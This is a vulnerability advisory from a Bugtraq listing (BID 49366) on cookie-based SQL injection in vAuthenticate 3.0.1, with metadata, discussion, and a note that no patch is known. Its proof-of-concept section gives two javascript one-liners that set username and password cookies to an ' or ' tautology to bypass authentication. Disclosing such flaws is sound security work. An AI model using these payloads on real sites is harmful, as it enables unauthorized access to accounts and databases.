vAuthenticate Multiple Cookie Authentication SQL Injection Vulnerabilities
BID:49366
Info
vAuthenticate Multiple Cookie Authentication SQL Injection Vulnerabilities
| Bugtraq ID: | 49366 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 30 2011 12:00AM |
| Updated: | Aug 30 2011 12:00AM |
| Credit: | bd0rk |
| Vulnerable: |
Vincent Ryan Ong vAuthenticate 3.0.1 |
| Not Vulnerable: | |
Discussion
vAuthenticate Multiple Cookie Authentication SQL Injection Vulnerabilities
vAuthenticate is prone to SQL-injection vulnerabilities.
An attacker could exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.
vAuthenticate 3.01 is vulnerable; other versions may also be affected.
vAuthenticate is prone to SQL-injection vulnerabilities.
An attacker could exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.
vAuthenticate 3.01 is vulnerable; other versions may also be affected.
Exploit / POC
vAuthenticate Multiple Cookie Authentication SQL Injection Vulnerabilities
Attackers may exploit this issue through a browser.
The following example inputs are available:
javascript:document.cookie = "[USERNAME]=' or '; [PATH]";
javascript:document.cookie = "[PASSWORD]=' or '; [PATH]";
Attackers may exploit this issue through a browser.
The following example inputs are available:
javascript:document.cookie = "[USERNAME]=' or '; [PATH]";
javascript:document.cookie = "[PASSWORD]=' or '; [PATH]";
Solution / Fix
vAuthenticate Multiple Cookie Authentication SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
vAuthenticate Multiple Cookie Authentication SQL Injection Vulnerabilities
References:
References:
- vAuthenticate Product Page (Vincent Ryan Ong)